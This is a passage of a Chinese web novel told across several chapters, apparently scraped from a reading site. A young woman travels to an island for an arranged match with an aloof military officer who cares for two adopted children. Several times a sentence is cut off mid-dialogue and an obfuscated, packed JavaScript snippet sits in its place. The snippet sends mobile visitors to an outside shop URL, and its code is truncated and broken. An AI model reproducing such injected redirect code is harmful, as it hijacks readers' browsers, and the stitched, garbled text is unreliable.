船舱里不知道谁看见喊了一声，已经有些杂乱的船舱里立刻安静下来！ 玻璃船外水痕蜿蜒，外面的世界在雨幕下几乎变成了暗灰色，雨幕中，夏云婉一眼捕捉到了海面下三个矫健的身影。 她自然听不到外面人在说什么，只能看到其中一个人浮出海面后，冲着后面两个人指挥着什么，又说了些什么。 雨水急切的砸在海面，也砸在那人已经塌湿的衣服上，但很快，他们便再一起划开海面沉了下去。 外面。 巡逻船已经顺利安全靠岸，海员接连下船后再行驶开给货船腾出来了一片更大的地方。 牛莉的儿子这会儿也睡醒了，也许是密闭船舱太闷了，闹着要出去找爸爸。 “爸爸在外面出任务呢，等会儿回去也见不着，有其他军人叔叔来帮忙了，咱们很快就能上岸，你老实点，回去给你做糍粑吃。” 孩子比才上船时候乖多了，呜咽着点点头，扑在了妈妈的怀里。 时间一分一秒过去，但因为大家都知道外面有军人在解决问题，倒是都安心了许多。 约摸又过了十分钟，随着船舱又一次轻微的晃动，船身开始大幅度动作起来。 “成了。”牛莉高兴地道，“估计下面缠东西了，现在就稳了。” 夏云婉还没顾上松口气，旁边的刘德贤先颤抖着瘫软在了靠背上。 “见、见笑了，我是北方人，实在没见过这场面。” 夏云婉浅笑着：“没事儿，我这个本地人其实也没出过海，刚才也害怕。” “那不一样，我好歹是个大老爷们，唉，惭愧惭愧。” 说着话，船身终于贴近了码头，不一会儿船舱门被打开，工作人员开始呼喊着让大家下船。 “排队排队，都别着急。” “不着急不得淋湿了啊。” “你不是有伞吗，船舱外面也有黑布伞借给大家用。” “诶你别挤行不行，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962942|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还抱着孩子呢！”牛莉瞪了一眼从自己身边挤过去的女人，仔细一看，又是刚才的欧阳玉。 因为浪大，虽然靠岸但船身仍旧在晃动，岸边有刚执行任务回来的士兵在接应乘客，手搭手的把人拉上去。 牛莉拎着东西又抱着孩子，被人随便一挤就只能往后靠。 “姐，我帮你拎着篮子吧。”夏云婉看不过去，接过牛莉手里的竹筐。 “谢了妹子，你那包也先放我篮子里，好拿些。” 夏云婉一米六五的个子，人又偏瘦一些，拎着个偌大的竹筐看起来也费劲儿，刘德贤在他俩身后瞧着，等快要上岸的时候，眼瞧夏云婉拎着东西走半米宽的木板走的吓人，赶忙又先将竹筐接了过来。 “多谢。” 夏云婉道了声谢，扶着岸上帮忙的小战士的胳膊上了岸。 朦胧中原是看不清楚人脸的，夏云婉抬头时，那张沾了雨水的脸蛋才被周围岸上几个人看清。 雨水顺着她额前几缕碎发从脸颊滚落，滑过光洁的额头，睫毛也被濡湿了些，一双眼睛在灰蒙中亮亮的，叫人不舍得挪开眼睛。 “辛苦了，谢谢你同志。” “不、不谢！” 小战士脸一热，连忙挠挠头看向别处，随后才又开始拉她身后的刘德贤上岸。 等脚真真切切踏在岸边岩石上的时候，夏云婉这颗心也跟着彻底落了地。 风雨不断，刮的夏云婉手中的黑布伞摇摇晃晃。 “妹子，刘老师，要不先去家避避雨吧？”牛莉提议道。 刘德贤摇头：“我得先去学校报到，那边有给我分配的宿舍，往后有机会再见。” “行，妹子你呢？” 夏云婉左右望望，可四周除了刚才来帮忙的小战士跟乘客，再不见有岛上的其他人过来。 “我再等十分钟，毕竟跟人约好了的，怕错过了，姐你还带着孩子赶紧回去吧。” 牛莉心里琢磨了一下，有话却不好开口的样子，顿了顿，才笑道：“兴许是她家里有事儿耽误时间了，你再等会儿，要是还没来，就先去东边找我，到家里坐坐避雨，东边有一排水泥平房，顶上有酱色的水缸，你一看就能找到。” “嗯。” 等人走后，夏云婉找了个有遮挡的地方继续等待。 可十分钟后，等船上乘客都陆陆续续的走完，就连小战士们也都重整队伍上船待命，也没见有人过来的。 虽然是夏天，可这种天气下又是在海岛，她握着雨伞的手越发冰冷。 算了，不等了。 夏云婉转身朝着东边走去。 往前再走一段路，就是海岸线上岩石比较低的地方。 恰好军用船上的皮划艇停靠在了岸边，三个浑身上下都湿漉漉的军人跳下来后，将身上的氧气瓶给扔到了地上。 接应的人给他们撑着伞，其中一个打头的上岸后就扯着黏在身上的湿衣服准备脱。 夏云婉本来只是好奇才多看了一眼，见这架势，连忙转过头准备假装没看见直接路过。 “陆团长，你说的没错，还真是旧缆绳！” 等一等，陆团长？ 夏云婉停下迈出去的脚步，下意识转头后，就看见衣服还没来得及换上的陆霖川。 21. 第 21 章 同样的，才转过身陆霖川也看到了岩石上走过的夏云婉。 雨幕中，她握紧伞柄的手像是被洗去了尘色，白净到透亮，只有纤细的指尖微微泛红，应是很用力气的在握着。 再往上瞧，便是那双灰蒙中樱红的唇瓣跟被雨水濡湿的眼睫。 眉眼朦胧，可绝对也能辨认出是个美人。 “就是这个女同志！” 陆霖川身后，赶过来的一个小战士低声跟另一人道：“刚才跟你说的那个，她扶了我胳膊呢，咱岛上就没见过这么漂亮的女同志，哦不对，在岸上我也没瞧见过……” 陆霖川瞪了一眼身后的小战士，随后顺手将干净衣服随意套在了身上。 许是注意到有人在，他没有擦拭身上残留的水痕，才换上的衣服，便有一些地方被浸湿。 雨水顺着他短硬的发茬落下，流过紧蹙的眉骨，从流畅的下颌低落。 陆霖川抬手草草擦拭了一下眼睛，小臂便露出了结实紧绷的肌肉线条。 这是……陆团长陆霖川？ 夏云婉望着眼前五官端正剑眉星目的男人怔怔出神。 如果眼前的真是陆霖川，那她突然觉得跟他认真相个亲也不是不行。 这长相，她不吃亏啊！ 身侧刚才跟夏云婉说过话的小战士鼓起勇气，“女同志，你有别的事情吗？” 夏云婉回神，嗯了一声，看向已经转过身没再看自己的陆霖川。 “你不是岛上人吧，来这里寻亲还是工作分配？” “我……寻亲。”夏云婉干脆直接问道：“刚才路过听见你们喊陆团长，想问下是我要找的陆霖川团长吗？” “……” 陆霖川手上动作停滞了一下，转身再度看过去，没等他说话，旁边的小战士已经忙不迭的点起头。 还真是陆霖川。 夏云婉心情好了不少。 其实此刻这会儿雨势渐小，对面男人的五官也越发的清晰，很容易很看出来，他跟照片上的模样相差不大。 要说有差别，可能就是照片上的陆霖川更加青涩年轻，而眼前人，多了几分刚毅，皮肤也要深一个度，一看就是晒过后健康的小麦色。 “你找我？” “真的是你呀。”夏云婉走了两步，自我介绍道：“我是夏云婉，之前大姐跟你通过电话的。” 陆霖川眉目压低了些，目光凌厉的从夏云婉脸上扫过，随后跟身后人叮嘱了两句，才直直走过来。 “夏云婉？” “嗯。” 雨停，四目相对，夏云婉眼睫上还挂着一丝水珠，颤颤着似掉非掉，眉目间笑意盈盈。 陆霖川的话沉在嘴边，顿了顿。 夏云婉已经自顾的开了口：“本来大姐要跟我一起来，但临走前韩冬哭闹着不让走，所以就联系了表舅来接过，我等了一会儿没见到有人过来，所以想着先去刚才在船上认识的大姐家避避雨，没想到居然在这边碰见了你。” 她说话时眼神更亮了，尤其是看向他时毫不避让的目光，直白又生动。 可这样的眼神，也只是让陆霖川有半秒的意外，他转头看向西边，“走吧，先送你去休息。” “好。”夏云婉也不跟他见外，犹豫了一下，还是伸手将包递过去，“可以麻烦你帮我拎一下吗？” 陆霖川：“……” 她倒是自来熟。 夏云婉当然自来熟，不自来熟怎么应对学生，应对家长。 她的包却也不重，只是些简单的日常用品跟两身夏天的衣服，拎在陆霖川手里，跟拎了两片菜叶子也差不多。 夏云婉腾出手原来是为了收雨伞。 粗杆的黑布伞被她双手用力顶在地上才勉强收了起来，残留的雨水被炸开，星星点点砸在夏云婉本就有些潮湿的衣摆跟裤腿上。 陆霖川一眼看过去，她正抬起纤细的手腕擦拭脸颊的雨水。 这样瘦，看起来就算拎她也跟拎包差不多重吧。 “好了，给我吧，谢谢你。” 陆霖川迟疑了一下，原来她是让自己暂拿。 “我拎着，伞也给我吧。”他说。 夏云婉也迟疑了一下，不过还是递了过去，“那麻烦你啦，这伞确实挺重，不过看你的体格子应该是小问题。” 走到身边了，夏云婉才惊觉陆霖川很高。 大概要高出她两个头了，怎么也得有个一米八五。 陆霖川没说话，走过海岸线后，才再度开口，“你休息一晚上，明天我给你买票。” “买票？” “嗯。” “什么票？” “船票，送你回去。” “……” 夏云婉也属实是没想到，这才刚见面，这人就直接下了逐客令。 不过直白点也好，直白点她等一等也好跟他提要求。 间夏云婉没说话，陆霖川看了过去。 许是手里没拎东西了，她脚步都轻快了许多，而听了自己刚才的话，她眼神也依旧清澈阳光，眉眼间也不见忧虑。 她只是沉默着，情绪似乎还好。 陆霖川：“娃娃亲的事情，家里跟我说过了，但我的情况特殊，也不想耽误别人。” “可你怎么就知道一定是耽误？怎么不是一起奔赴美好生活？”夏云婉皱皱眉，有些不高兴。 陆霖川冷笑了一声，“我的情况，我比谁都清楚。” 夏云婉发觉自己语气有些重，便放轻了一些，“我只是觉得人不要这么悲观。” “事实而已。” 他声音很好听，夏云婉以前就声控，尤其喜欢像陆霖川这样略显低沉的青叔音。 长相好工作稳定，目前看来性格虽然冷淡些，但毕竟是军人，不会太差。 如果不是在海岛上，这男人实在是一个很好的结婚对象。 就算是在海岛上，往后发展日新月异，环境也会越来越好…… 又走了一段路后，夏云婉也想好了自己的需求。 至少争取一下吧，也算是给自己这一趟一个交代，实在不行，她收拾收拾再来一趟海上旅游也能接受。 眼瞧前面就是篱笆围着的院墙了，夏云婉这才开口。 “陆霖川同志，还没发生的事情怎么就是事实，不管任何事，总归要试一试才知道会怎么样。” 陆霖川顿了两秒，才看了过去。 夏云婉眼神依旧清亮，说话脆生生的，直白中带着诚恳与认真。 “……不用试，我的想法你暂时不会理解，这事儿我会给你个补偿，你也可以跟我提要求。” 一时半会儿是劝不动他的。 夏云婉心里也明白，所以没有再说什么，沉默着跟在他身后进了房门。 这里应该就是陆霖川住的房子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965313|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进屋，客厅除了沙发跟柜子，其余东西一览无余，说好听点叫干净，说不好听那就是简陋。 这小破屋子，怎么看怎么不像生活着一个男人两个孩子的地方。 听说小的才五岁大，五岁的孩子，这屋里好像除了摆着的一包麦乳精，其他看起来都是大人的东西。 “岛上没有招待所，你今天先在这里住下，晚上我不回家，要是怕有什么闲话，我可以安排你去住宿舍，或者去隔壁阿婆家住。” “这里就行。” 反正出了武滨岛，也没人知道夏云婉在这里发生过什么，况且晚上陆霖川也不回来住。 “嗯。” 陆霖川放下夏云婉的行李，去了外面的院子，可等他正欲转身时，却注意到了身后的动静。 他回头，再低头，正正好跟夏云婉再次对上眼神。 目光交汇，夏云婉一片坦然。 陆霖川拧眉，“又做什么？” 夏云婉跟着进了院子，看着篱笆上被雨淋过后盛放的小野花，“我在船上做了一路，待在屋里也不知道做什么就跟出来的。” “别跟着我。” 陆霖川说完，夏云婉舒展的眉宇便又要皱起来的迹象。 他自己反倒先皱了眉，“卫生间在院子后面，我要去换衣服。” “……哦哦哦。” 毕竟出来旅游一趟，夏云婉本想着让陆霖川带自己四处看看呢，不曾想他是这么个缘由要出来。 差点忘了他刚才虽然换了身衣服，但因为自己的打扰，这身仍旧残留了不少水痕。 “你快去，我……我自己四处看看。”夏云婉有些脸热。 陆霖川这才转身。 从背后看去，陆霖川后脊的衣服更加贴身，水渍斑驳，布料在肩胛与脊沟处绷出肌肉的弧度。 啧，身材可真好啊。 这才是穿衣服显瘦脱衣服有肌肉，跟那种在健身房练出来的质感都不一样。 心里感慨了两句，夏云婉脸更热了。 她也是没想到，头一次跟陆霖川见面，就把夏云朵处心积虑冲进浴室才能看到的东西给看了。 一阵风吹过夏云婉滚烫的脸颊，她稍微冷静了一下，打量着这处院子。 这边有一片联排房，红砖瓦木篱笆，临山，刚才走近的时候，还能听到溪水的声音。 应该是有内陆河经过。 这地方倒是比东边风景好一些，就是地势稍陡峭。 还没等夏云婉仔细再观察，天边乌云汇集，风雨欲来。 “又要下雨了。”换好衣服的陆霖川走过来，打量了一眼天色。 他换了件日常穿得衬衣，那身肌肉被很好的藏了进去，头发也被他擦的有些许凌乱，但瞧着，整个人倒是没刚才那么冷硬了。 “我还以为要换老汉背心了呢……” “嗯？” “咳咳咳……没什么！” 陆霖川深深看了夏云婉一眼，“去屋里待着。” “哦。”夏云婉应声，忍不住又问道，“陆同志，这雨怎么这么频繁，我们来的路上，至少下了三次停了三次。” “有台风预警……” 话还没说，陆霖川神情变了，眉目压低，脸色沉沉。 夏云婉状做诧异，“台风？预警是什么时间？” 片刻后，陆霖川才语气冷硬的开了口。 “明天。” 22. 第 22 章 杨木生家中。 “爸，我回来了。” “今天怎么这么早？” 杨美莹小心翼翼梳理了一下头发，“有台风预警，学校要放假了。” “我让你去接人你忘了？”杨木生卸掉胳膊上的塑胶手套，他在水产厂干活儿，刚走进屋里，就带了股海腥味儿。 杨美莹捏着鼻子后退了两步，这才道：“下这么大的雨，还有台风预警，还接什么人啊，来不来都不一定。” 杨木生琢磨了一下，“好歹得去瞅一眼，万一没接上回头不好跟你表姑交代。” 杨美莹瘫坐在椅子上，“我才不去呢，要去你去，刚好雨停了，过会儿恐怕又要下雨。” 邹春华扔过去一张抹布，“不去就过来帮我刷鞋，老杨，你赶紧去瞅一眼。” “嗯。” “爸，表姑电话里到底咋说的，那女的真是来跟陆大哥相亲的？”杨美莹忍不住皱起眉。 杨木生：“那会儿信号不好，她电话打的又急，滋滋啦啦的听着应该是说跟结婚有关系，咋了？” 杨美莹哼了一声，“外头的女人要是条件好点，谁会上这岛上来相亲啊，要么是家里穷的，要么就是长得丑的，陆大哥肯定看不上，来了也白来。” “姐，是不是年初说亲，陆团长没看上你，所以你才这么说啊。” “你少乱说话！什么没看上我，那是陆大哥现在心思都在工作上，等他忙过这一阵子，姐也不是没有机会。” 杨木生却不是很赞同：“那陆霖川人品外貌是不错，可大家伙都知道那是个没什么人气儿的，过日子怎么也得找个我这样性格好的。” “呸！”邹春华翻了个白眼，“找你这样的，一年到头钱都不够花，人家那是军官，一个月少说六十块钱，我也觉得美莹有机会，有那俩拖油瓶在，有些人家还是不愿意的，咱家我就愿意，只要陆霖川肯给我出点保姆费，回头我还能帮着带孩子，” 杨美莹心里却清楚，陆霖川其实在同龄人里挺吃香的，至少在她这里是，性格虽然她不太熟，可人家条件好啊。 有拖油瓶咋了，又不是亲生的，将来结了婚有了自己的孩子，那俩只有吃瓜落的份儿。 她还不信陆霖川将来不疼自己孩子还疼别人的去！ 杨木生去码头溜达了一圈回来，杨美莹也刚把心里话跟邹春华说完。 杨木生：“我打听了一下，说是已经跟着陆霖川过去了，我得上他那儿瞧一眼，再给你表姑回个电话。” “真来了？”杨美莹瞪大眼睛，“那我跟你一起看看去。” “你去干啥？” “我看看那女的到底是啥样。” “有啥好看的，我估摸着也是个乡下丫头，为着陆霖川结婚的事儿，你表姑跟表姑父愁死了，肯定是实在没法子了，才不知道从哪儿搜罗了个人送来。” “那我也去看看，就当看笑话呗。” 杨美莹出门，她十岁的弟弟杨刚在家没事儿也跟了过去。 可等了陆家门口，敲了半天门也没见有人出来。 正当杨木生准备走的时候，隔壁邻居王家的栅栏这才推开。 刘阿婆揉了揉耳朵，“就说好像听见有人喊门，老婆子我都听见了，霖川你还说没有。” 杨木生：“看见霖川了吗？还有位刚上岛的女同志。” “你是说小夏吧。” 刘阿婆笑了笑，陆霖川也从屋里走了出来。 杨美莹连忙上前，探头往里面看了一眼。 里头果然坐着个没见过的女人，侧身坐着，眉眼带笑跟身边的小陆悦说着什么，她盘着头发，皮肤白皙眼睫卷翘，跟杨美莹想象中的乡野小村姑完全不同。 “陆大哥！”杨美莹看完心里酸溜溜的，故意大声喊道：“咱俩好几天没见了吧，上次还说上我家吃饭呢，你既然有客人，今儿有空一起过去呗。” “没空。” 杨美莹：“……” 陆霖川压根没注意到杨美莹的神情，他自顾自的跟杨木生说起话来。 不过屋里的夏云婉倒是听得一清二楚。 这声陆大哥喊得可真是脆生，还有几分撒娇的意味在里面。 可惜陆霖川是个石头脑袋，根本不带理会的。 夏云婉为这女同志叹了口气，把手里折叠的纸船塞给陆悦，“你先自己玩好吗，我去打个招呼。” 方才她才知道，陆霖川不在家的时候，隔壁家刘阿婆一般会把他收养的小闺女陆悦带过来看着。 陆霖川收养了两个孩子，十四岁的陆浩然，跟今年才满六岁的陆悦。 这俩原先都是陆霖川战友的孩子，一次事故战友牺牲，母亲不愿留岛改嫁去了外地，这俩孩子如果不被收养，只能送到孤儿院。 孤儿院条件肯定比不得在家里，陆霖川不忍心，两年前主动应下来这件事。 这俩孩子从前就跟着爸妈在岛上生活，刘阿婆跟她们亲生父母原先也都认识，这两年陆霖川不在，平时没少帮着看顾。 不过陆浩然年龄大了要上学，陆悦年纪小却听话，俩孩子都还算省心。 尤其是这个小陆悦。 “好，那我乖乖在这里等阿姨回来。” 陆悦接过小纸船，端端正正摆放在了桌子上，声音小小的，抬头冲着夏云婉露出一个讨好的笑容。 夏云婉一怔，心里莫名的不舒服。 这个年纪的小姑娘就算乖巧，也至于听话到有些板正的状态。 尤其陆悦那张瘦小的脸蛋上，打从刚才见面起，她的笑容明明很牵强了，但还是用力的再眯着眼睛冲夏云婉示好。 夏云婉眨眨眼，伸手轻轻托起陆悦的放到自己手心。 小姑娘手指有些冰凉，指甲里沾了不少的泥灰。 等会儿带她洗个手。 这样想着，夏云婉又把小纸船放了上去，“你拿着先自己玩呀，不是想学怎么做吗，拆开看看，或者捏着去水里飘飘试试都行的。” 也许是太瘦了，衬的陆悦眼睛很大，只是这大眼睛里却很少有笑意，就像她这个人说话一样，总是带了些小心跟害怕。 “不……不行，我手黑，会把小船弄脏的，阿姨跟我一起，我坐在这里等阿姨。” “也行。” 夏云婉微不可闻叹了口气。 “这个就是小夏吧。”杨木生看着走出来的夏云婉，一时间有些诧异。 刘阿婆在旁边看着，抿嘴笑起来，“老杨，你们家还有这样齐整的远方亲戚，之前怎么都不说一声，刚才我瞧见还以为是来文工团报道的。” 亲戚？ 杨木生不明所以，难道电话里听错了？ 夏云婉：“表舅好，郭阿姨让我给您带了点东西来，都是日常吃的用的，但刚才在码头没见到你，反而先见到了陆霖川同志，想着避雨就先过来了。” 杨木生接过网兜，里头放了一罐红糖一罐猪油。 郭玉芬没少接济他们，这次送东西，估摸着也是想着让她们照顾照顾夏云婉。 杨木生立刻喜笑颜开，比刚才热情许多，“我本来让你姐过去接你呢，她给忘了，后来我又去了一趟才知道你已经过来了，别介意啊闺女，走，咱上家里去吃晚饭。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975499|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不用了。”陆霖川淡淡开口，替夏云婉拒绝了杨木生，“她暂时在这边休息，就不麻烦您了。” 杨美莹心里不是滋味儿，“陆大哥，不是说夏同志来探亲的嘛，她跟你住一块儿也不方便吧。” 刘阿婆连忙道：“先住我家呗，反正过几天就回去了，我家平日又没人，就我一个老太婆跟一个孩子。” 杨美莹皱皱眉，有话却没说出口。 “那既然这样我们就先走了。” 杨美莹也抬头跟陆霖川道别，但陆霖川那边已经转了身，似乎从头到尾都没有看过她一眼。 等快到家了，杨美莹才不服气的问道：“爸，这到底咋回事儿，那个夏云婉到底来干嘛的，探亲还是相亲你到底听没听清楚啊？要是探亲，陆大哥怎么还让他住那边？不应该是来咱家吗？” “你管那么多干啥？”杨木生说着拎着网兜，欣喜的把猪油罐子朝着自己鼻子上凑了凑，“香啊，这点够咱们家吃一俩月了，还得是你姑父有本事，当大厨的就是能弄来好东西。” “我这不是担心嘛，那个夏云婉……” “比姐你漂亮。”杨刚颠颠跟在旁边，嘻嘻笑道：“姐你担心陆团长看上她，是不是？” “放屁，再好看也没我好看。” “那反正比你白。” “你个臭小子，找打呢？” “行了行了。”杨木生打断道：“不是都说了人家过几天就走，到时候反正跟陆霖川也没关系了，你想那么多干啥？” “……也是。” 可是……明天不是有台风吗？ 台风预警就在明天，夏云婉也很意外，她还想着最起码再过两天呢，可一想，这岛上跟岸上肯定不一样，往来一趟都得六个小时，自然台风预警时间也不同。 所以陆霖川说完明天送她走之后，自己都意识到是不可能的事情了。 “台风船运停止运行，等什么时候通航了，我尽快送你离开，不会耽误你很久。” 刘阿婆家，陆霖川给夏云婉解释，“刘阿婆说的没错，岛上人口密集闲话也多，你先在刘阿婆家住下。” “可吃饭住宿麻烦别人家是不是也不太合适。” “这个你不用管。” 陆霖川看了眼外面的天色，“刘阿婆，台风一来最近都又没时间回家住了，可能晚上才偶尔回来一趟，陆悦他俩那边还是得麻烦您。” “放心吧。”刘阿婆笑呵呵的点头：“跟我就别这么客气了，还有小夏也是，把这儿当自己家里多住几天，只是你家大人怎么考虑着把你送过来什么驴来着？” “……旅游。”夏云婉忍住笑意开口。 刚才也是没招了，知道不能立刻送她走以后，陆霖川怕影响她的名声，她也觉得俩人的事儿悬，干脆就编了这么个借口。 “对对对，驴游，这地儿有啥好游的，回头我倒是可以教教你凫水，我老婆子六十五了，昨儿还下山崖边掐紫菜呢。” “您身体可真好。” “那是，早些年我还跟着村队伍打过游击……” 刘阿婆跟夏云婉聊的来。 准确说。 陆霖川看出夏云婉这人自来熟，跟谁都能聊得来。 “霖川，今儿你咋也不休息。”刘阿婆忽然又问，“刚回来就还有任务啊？” “有，我等陆浩然回来就走。” 说话间又进了屋，夏云婉转头一瞧，桌子旁边，陆悦双手端正的摆放在膝盖上，小船也依旧在桌子上搁着。 她出去时候什么样，现在陆悦坐姿依旧什么样，乖的像个皱巴巴的布娃娃。 23. 第 23 章 陆悦很喜欢爸爸带回来的这个阿姨。 阿姨声音好听，说话温柔，比她见过的所有阿姨都要漂亮！而且她还教自己怎么折叠小船，最重要的是，阿姨真的真的很认真的在听自己说话，并且在刚见面的时候，就告诉自己是个很乖巧的孩子。 陆悦喜欢被人夸听话乖巧。 其实陆悦一开始是想喊阿姨姐姐的，但爸爸说要喊阿姨，她就喊了，毕竟她是听话的孩子。 只有非常听话的孩子，才会被大人喜欢，被爸爸喜欢。 “怎么连动都没动一下。”夏云婉眉头微微皱起，看着陆悦扣着衣服的手指。 陆悦有些紧张，不明白自己错在了哪里，“我、我不知道要怎么动。” 夏云婉：“大人出去了，你可以自己四处走一走，玩一玩别的，一直坐在屋子里不会闷吗？” “不会的！”陆悦摇摇头。 旁边，刘阿婆也笑道：“这孩子可好养活了，让她做什么就做什么，平日也不吵不闹的，不像我那个外孙子，一整个下午都没影儿，肯定又是去别的地方调皮捣蛋了，哪里有陆悦省心。” 可这未免也太省心了。 夏云婉俯下身，“走，我先带你去洗洗手，顺便你也带我去外面院子后面那条河好吗？” “好呀。” 临走前，陆悦看了眼桌子上折叠好的小船。 她喜欢，但阿姨没有说要带上。 夏云婉：“送给你了的，你喜欢就带。” 陆悦眼睛一下子亮了，随后捧起小船揣到了兜里，就是不肯放在手里捏着玩。 “看我说什么，这孩子就是乖。”刘阿婆在后面还补了一句。 等人离开，陆霖川的目光才慢慢收回来。 陆霖川：“陆悦这孩子听话的不像孩子。” “听话还不好啊，懂事儿的早一些，你也省心一些。” 陆霖川不置可否，沉默下来。 刘阿婆却继续笑道：“霖川，你跟我说实话，这真是你家亲戚呀？” 陆霖川不喜欢撒谎，说亲戚也是因为她爷爷确实跟自己爷爷有些关系。 想了想，陆霖川道：“两家老一辈儿是很好的朋友关系，说亲戚不算错。” 刘阿婆却摇头：“我瞅着小夏跟你说话那语气可不像是跟亲戚说话，而且你家里催你结婚催那么紧，年初你大姐还过来了一趟，这小夏同志不会是来跟你相亲的吧？” “要真是这样，霖川啊，你可得珍惜，瞧这天气人家都愿意跑一趟过来，实在难得，而且模样生的这么好，性格我瞧着也不错，你可别又给人家推出去。” 陆霖川喝完碗里的一口茶水，站了起来，“刘阿婆，我先回家等陆浩然了，这些天家里麻烦你，等会儿我把粮票什么的送过来。” “你看看你，我说人家小夏呢，你扯别的做什么？粮票就不要了，你跟程连长一起救了我家老头这事儿我得谢你们一辈子，现在程连长走了，他的孩子就是我们家的孩子，论这么清楚干什么……” 话未说完，陆霖川已经转身离开。 刘阿婆摇摇头，跟着出门，一眼便又看见了牵着陆悦手往河边去的夏云婉。 这探亲探的实在有些奇怪了，难不成是来毕业后不想下乡，被家里安排上岛找工作的？ 岛上倒也确实一直因为发展问题在号召青年来一起参与建设，只是这个年纪的小姑娘大部分都不怎么乐意来。 流水潺潺。 陆悦蹲下来洗手，可搓了半天，指尖仍是黑色的。 “是煤油啊。”夏云婉仔细看了看，“你从哪儿抹到手上的？” 陆悦小声：“晚上我回家里睡觉，刘奶奶给我了煤油灯，我多点了一会儿沾上的，没事的，这个过几天慢慢就没了。” “吃东西的时候沾嘴里也会有毒的，你等一下。” 夏云婉起身到了陆家门口，碰上也刚回来一会儿的陆霖川。 “有香皂吗？” 陆霖川挑挑眉，看了眼自己手上刚起来的塑料盒子，“正要给你送过去。” 夏云婉有些诧异。 原来刚才她们的话，陆霖川一直都听着。 有了皂角粉，陆悦的小爪子总算是白净了许多，在夏云婉再三表示小船送给她随便玩之后，陆悦才又捏起小船，小心翼翼的放到一片叶子上放在水里‘飘来飘去。’ “谢谢。”陆霖川看了眼陆悦，转过头再看夏云婉，神情依旧淡淡：“走之前，你尽快想好要什么补偿，工作、钱、或者其他，我都可以帮忙想办法，给你提供机会。” “我想想吧。” 天色不早，天气也不好，陆浩然放学后没有去别的地方，直接往家里走，临近了才看到陆霖川身边站着个陌生的女人。 “哥，你回来了！”陆悦高兴的跑过去，主动给他介绍：“这是夏阿姨！会在岛上住几天，夏阿姨陪我玩了好一会儿呢，她人可好了。” 陆浩然模样与陆悦有几分相似，眉眼稍显硬朗些，脸上稚气未脱，颧骨高高的，头发刺猬似的有些凌乱。 “你好。” 陆浩然看看陆霖川，又好奇的打量了一会儿夏云婉，这才慢吞吞的点头，“……你也好。” 说罢，也不再跟陆霖川打招呼，转头直接进了屋。 这样陌生疏离的样子，一点也不像是父子。 陆霖川却似是习以为常，只是眉头皱了皱，转头跟着进屋，没一会儿，就听到里面传来‘礼貌’、‘规矩’之类的话。 陆浩然声音闷闷的，似乎是老老实实应了几声，但很快便又传来了关门声。 陆霖川走出来，眉宇间的疲惫一闪而过，很好的被掩饰了起来。 “我先走了，最近回来的都不多，你吃饭去刘阿婆那边，如果实在不好意思，学校放假了，让陆浩然带你去营区食堂。” “怎么去，明天不是有台风？” “一级预警，风雨会大一些，你要不怕淋着随时能去。” “……” 她又不是傻子，干什么要淋雨。 短短几小时的相处，夏云婉终于是切身体会了书中夏云朵说陆霖川是冰山的意思。 连说个话都冷冰冰的没什么趣味。 等陆霖川走后，夏云婉带着陆悦在外面又逛了一会儿，一直等豆大雨滴落在脸上，她才急匆匆的回去。 晚上吃饭，刘阿婆喊了陆浩然也过去，跟下午一样，这孩子吃饭都不带开口说话的，但瞧着行动又毛毛躁躁，跟陆霖川那种沉稳完全不同。 “我回去了。” 吃完饭，陆浩然便回了家。 陆悦在这边待到八点多，困的眼皮子打架了，这才也回去。 夏云婉撑着伞送陆悦。 到了门口，陆悦双手团成了麻花，纠结了好一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979354|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，愣是没开口。 夏云婉看不下去，有些好笑，“你要说什么？” “……也没什么，那夏阿姨咱们明天见。” “嗯，明天见。” 转头回去，夏云婉把这一幕跟刘阿婆说了一遍。 刘阿婆叹了口气，“这俩孩子都可怜，陆浩然年纪大能去学校还好些，小陆悦平日都没什么朋友跟她说话，看见个人肯定舍不得你走。” “他们俩平时就这样自己在家里吗？陆霖川……不管的吗？” 